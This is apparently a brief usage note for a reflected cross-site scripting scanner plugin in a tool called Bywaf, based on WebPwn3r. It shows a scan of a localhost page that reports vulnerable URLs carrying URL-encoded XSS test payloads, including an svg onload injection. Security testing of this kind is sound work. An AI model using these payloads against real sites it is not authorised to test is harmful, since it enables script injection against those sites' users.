reflected xss plugin

based on the original @Zigoo0's WebPwn3r
use:
Bywaf> use xss
Bywaf/xss> xss http://localhost/bsu/xsss.php?p=a
[*] Bingo! Vulnerable url: http://localhost/bsu/xsss.php?p=a%27%3Ezigoo0%3Csvg%2Fonload%3Dconfirm%28%2Fzigoo0%2F%29%3Eweb 
[*] Bingo! Vulnerable url: http://localhost/bsu/xsss.php?p=a%78%22%78%3e%78